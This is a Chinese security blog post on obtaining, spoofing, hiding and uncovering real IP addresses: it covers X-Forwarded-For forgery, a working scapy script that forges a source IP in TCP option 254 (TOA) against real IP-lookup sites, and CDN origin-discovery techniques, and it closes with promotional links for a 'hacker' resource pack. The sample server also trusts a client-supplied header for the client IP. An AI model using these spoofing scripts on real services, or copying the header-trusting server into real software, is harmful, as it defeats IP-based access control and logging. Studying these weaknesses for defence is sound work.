本篇文章学习一下如何服务如何获取真实ip,隐藏自己的ip,攻击者如何伪造ip,挖掘出真实ip。

真实ip获取

应用层

这里以web为例,以下是一个简单的http服务器,获取真实ip
httpserver.py

from http.server import BaseHTTPRequestHandler, HTTPServer  
  
class MyHTTPRequestHandler(BaseHTTPRequestHandler):  
    def do_GET(self):  
        self.send_response(200)  
        self.send_header('Content-type', 'text/html')  
        self.end_headers()  
          
        # 获取真实IP地址  
        ip = self.headers.get('X-Forwarded-For', self.client_address[0])  
          
        # 返回真实IP地址  
        self.wfile.write(bytes(ip, 'utf-8'))  
          
  
def run_server():  
    host = '0.0.0.0'  
    port = 8000  
  
    server = HTTPServer((host, port), MyHTTPRequestHandler)  
    print(f'Starting server on {host}:{port}...')  
  
    try:  
        server.serve_forever()  
    except KeyboardInterrupt:  
        pass  
  
    server.server_close()  
    print('Server stopped.')  
  
if __name__ == '__main__':  
    run_server()  

服务器启动代码

python3 httpserver.py  

如果有这个X-Forwarded-For,就用这个,否则就用client_address[0]

客户端代码

import requests  
url = 'http://127.0.0.1:8000'  
headers = {'X-Forwarded-For': '192.168.1.1'}  
response = requests.get(url, headers=headers)  
print(response.text)  

结果截图

网络层

网络连接

还是上面的代码,通过网络连接获取真实ip

不带header再次发送


通过网络连接获取真实ip当然很简单,也真实,但是往往客户端与服务器不是直接连通,中间有LB、CDN等。

雷池WAF就是通过连接获取请求者源IP的。

TOA

有些产品会把ip放到TOA(TCP Options),转发给下游,例如LB(Load Balancer),因此,下游服务获取真实ip时需要从TOA中获取

proxy protocol

有v1 v2两个版本,都存在伪造问题,且主流LB没有使用这种方式,仅nginx这种开源的看到了,所以没有深究,请查看参考。

ip伪造

应用层

以WEB为例,修改header即可。

import requests  
url = 'http://127.0.0.1:8000'  
headers = {'X-Forwarded-For': '8.8.8.8'}  
response = requests.get(url, headers=headers)  
print(response.text)  

截图

网络层

TOA攻击

一些服务会通过TOA来获取真实ip,因此,可以通过修改TCP的选项(Options)来隐藏真实ip。
这里使用的是linux下方式,修改所有包,工具见参考。
首先,我先试验了一下,使用自己宿主机的服务器,抓包查看

发现确实有修改,Options字段有值,之后找了几个查ip的网站,发现ip138不受影响,另一个网站是被欺骗了。

 curl -A "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11Mozilla            /5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" https://2023.ip138.com | grep 您的IP  
 curl -A "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11Mozilla            /5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" https://zh-hans.ipshu.com/my_info | grep 下面是你的公            开IP

截图如下:

windows下可以自己写脚本来进行toa的修改

fake_toa.py

from scapy.all import *  
import socket  
import struct  
  
# 目标域名和端口  
target_ip = '106.63.19.14'  
target_port = 443  
  
# 伪造的源 IP 地址  
fake_ip = '111.111.111.222'  
  
# 将伪造的 IP 地址转换为整数  
fake_ip_as_int = struct.unpack("!I", socket.inet_aton(fake_ip))[0]  
  
# 创建自定义的 TCP 选项  
option_254 = (254, b'\x00\x50' + struct.pack('!I', fake_ip_as_int))  
  
# 创建 IP 层  
ip_layer = IP(dst=target_ip)  
  
# 创建 TCP 层,不添加 TCP 选项  
syn = TCP(sport=RandShort(), dport=target_port, flags='S')  
  
# 组合 IP 层和 TCP 层,发送 SYN 数据包  
syn_ack = sr1(ip_layer / syn)  
  
# 检查是否收到 SYN+ACK 数据包  
if syn_ack[TCP].flags == 'SA':  
    # 创建 ACK 数据包,也不添加 TCP 选项  
    ack = TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='A', seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1)  
  
    # 发送 ACK 数据包  
    send(ip_layer / ack)  
  
    # 创建 HTTP 请求,只包含 Host 头部  
    # http_request = 'GET /ip/local/geo/v1/district HTTP/1.1\r\n' \  
    #                'Host: qifu-api.baidubce.com\r\n\r\n'  
    http_request = 'GET / HTTP/1.1\r\n' \  
                   'Host: 2023.ip138.com\r\n\r\n' \  
  
    # 创建 HTTP 数据包,这次在 TCP 层添加自定义的选项  
    http_packet = ip_layer / TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='PA', seq=syn_ack[TCP].ack,  
                                 ack=syn_ack[TCP].seq + 1, options=[option_254]) / Raw(load=http_request)  
  
    # 接收 HTTP 响应  
    http_response = sr1(http_packet)  
  
    # 打印 HTTP 响应  
    if http_response:  
        print(http_response.show())  
    else:  
        print('No response')  
else:  
    print('Did not receive SYN+ACK. Received: {}'.format(syn_ack[TCP].flags))
![](https://mmbiz.qpic.cn/sz_mmbiz_png/6YnBvoBcYkSmulYA2Pn0575vbiaARanvdlm7KydiavPZGxSfovwGicg5E1RSjV2wfBQuSRTibkeo2saF4LYl5jjfiaw/640?wx_fmt=png&from=appmsg)

抓包可以看到,确实添加了Options字段的内容

proxy protocol

有v1、v2两个版本,都可以伪造,用的不多也没找到开源工具就没深究了。

隐藏

代理

比较宽泛,无法列举全。例如,使用cdn来隐藏自己服务器的ip,使用“梯子”做中间人来访问一些你的ip无法访问的网站,或者开四层、七层代理做转发,使用LB来做负载均衡的同时隐藏后端服务ip等

挖掘

代理

以cdn为例,这里找了一个博客网站,尝试获取真实ip

多地ping

可以看到使用了腾讯云的CDN

历史DNS解析记录

查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录

国外主机解析域名

有的网站负责人为了省钱,只对国内使用cdn,于是国外的流量都直接打到了真实服务器上。第一步ping的时候有了,国外也是通过cdn的。

网站RSS订阅

有的网站可以邮件订阅RSS,发送邮件的服务器就是使用网站所在的服务器,这里该网站没有此功能,失败。

网络空间搜索引擎

这里使用了zoomeye,我查ip没有显示cdn,以为成功了,问了博客作者,还是cdn的ip


总结

  1. proxy protocol没有研究,和TOA差不多,按照协议发包就行了,实现就交给读者吧。

  2. TOA的伪造方式还是不错的,非linux下没有btftools,可以自己写一个代理,把浏览器的流量转发到本地代理,代理的功能就是把TOA改一下。

  3. 一些代理隐藏ip还是不错的,除非网站从开始没有使用cdn、部分使用cdn,或网站服务器有其他服务导致真实ip发出包了。该博客作者我也问了,一开始就使用了CDN,也没有其他子域名、服务,应该是无法找到真实IP了。

题外话

很多小伙伴想要一窥网络安全整个体系,这里我分享一份打磨了4年,已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

更多推荐